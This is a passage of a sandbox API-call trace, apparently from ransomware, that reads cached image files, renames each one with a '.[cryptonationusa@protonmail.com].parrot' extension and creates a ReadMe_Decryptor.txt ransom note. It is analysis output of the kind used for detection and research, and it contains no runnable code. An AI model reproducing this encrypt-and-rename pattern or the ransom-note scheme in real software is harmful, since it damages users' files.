halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbefe6e[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.629] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8c40 | out: hHeap=0x5b0000) returned 1 [0078.629] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0078.629] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2220050 | out: hHeap=0x5b0000) returned 1 [0078.629] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x69d648 [0078.629] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x68bc38 [0078.630] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0078.630] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0078.630] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e108, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0078.631] GetFileType (hFile=0x278) returned 0x1 [0078.631] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178058 [0078.642] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.642] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.644] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.644] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3c4c, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x3c4c, lpOverlapped=0x0) returned 1 [0078.645] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.645] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0078.645] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0078.645] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0078.645] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605470 [0078.645] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x3178058 [0078.645] GetLastError () returned 0x0 [0078.645] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.645] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.646] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.646] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0078.646] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0078.646] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0078.646] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0078.646] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0078.646] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0078.646] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0078.646] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0078.646] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0078.646] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0078.646] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0078.646] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0078.646] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0078.646] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0078.646] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0078.646] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605470 [0078.646] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0078.646] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0078.646] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605470 | out: hHeap=0x5b0000) returned 1 [0078.646] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEfjuT[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbefjut[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEfjuT[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbefjut[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8c40 | out: hHeap=0x5b0000) returned 1 [0078.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0078.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2222090 | out: hHeap=0x5b0000) returned 1 [0078.650] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.650] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.652] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.652] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1f0e, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1f0e, lpOverlapped=0x0) returned 1 [0078.653] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.653] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEg9QV[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeg9qv[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEg9QV[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeg9qv[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8c40 | out: hHeap=0x5b0000) returned 1 [0078.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0078.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2220050 | out: hHeap=0x5b0000) returned 1 [0078.660] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.660] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.665] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.665] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x980, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x980, lpOverlapped=0x0) returned 1 [0078.665] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.665] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgGSl[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeggsl[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgGSl[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeggsl[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.666] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8c40 | out: hHeap=0x5b0000) returned 1 [0078.666] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0078.666] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2220050 | out: hHeap=0x5b0000) returned 1 [0078.670] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.670] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.671] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.672] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x23fd, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x23fd, lpOverlapped=0x0) returned 1 [0078.675] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.675] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgiYw[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegiyw[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgiYw[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegiyw[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.676] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8c40 | out: hHeap=0x5b0000) returned 1 [0078.676] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0078.676] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2222090 | out: hHeap=0x5b0000) returned 1 [0078.679] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.679] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.686] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.686] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1a59, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1a59, lpOverlapped=0x0) returned 1 [0078.688] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.688] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgJfz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegjfz[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgJfz[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegjfz[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.689] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8c40 | out: hHeap=0x5b0000) returned 1 [0078.689] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0078.689] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2220050 | out: hHeap=0x5b0000) returned 1 [0078.691] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.691] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.702] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.702] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x7b0, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x7b0, lpOverlapped=0x0) returned 1 [0078.702] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.702] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgqtY[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegqty[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgqtY[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegqty[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.704] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8c40 | out: hHeap=0x5b0000) returned 1 [0078.704] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0078.704] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3182ed8 | out: hHeap=0x5b0000) returned 1 [0078.707] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.707] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.718] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.719] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x44ec, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x44ec, lpOverlapped=0x0) returned 1 [0078.728] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.728] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgsz3[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegsz3[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgsz3[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegsz3[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.729] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8c40 | out: hHeap=0x5b0000) returned 1 [0078.729] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0078.730] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22260d0 | out: hHeap=0x5b0000) returned 1 [0078.732] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.732] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.736] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.736] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x171b, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x171b, lpOverlapped=0x0) returned 1 [0078.744] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.745] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgtcS[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegtcs[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgtcS[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegtcs[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.746] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8c40 | out: hHeap=0x5b0000) returned 1 [0078.746] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0078.746] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2220050 | out: hHeap=0x5b0000) returned 1 [0078.748] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.748] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.766] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.766] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1826, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1826, lpOverlapped=0x0) returned 1 [0078.771] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.771] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgtcS[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegtcs[2].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgtcS[2].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegtcs[2].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.773] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8c40 | out: hHeap=0x5b0000) returned 1 [0078.773] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0078.773] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2220050 | out: hHeap=0x5b0000) returned 1 [0078.775] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.775] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.779] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.779] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5e5, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x5e5, lpOverlapped=0x0) returned 1 [0078.779] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.780] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgx5f[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegx5f[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgx5f[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegx5f[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.781] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8c40 | out: hHeap=0x5b0000) returned 1 [0078.781] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0078.781] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179270 | out: hHeap=0x5b0000) returned 1 [0078.783] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.783] 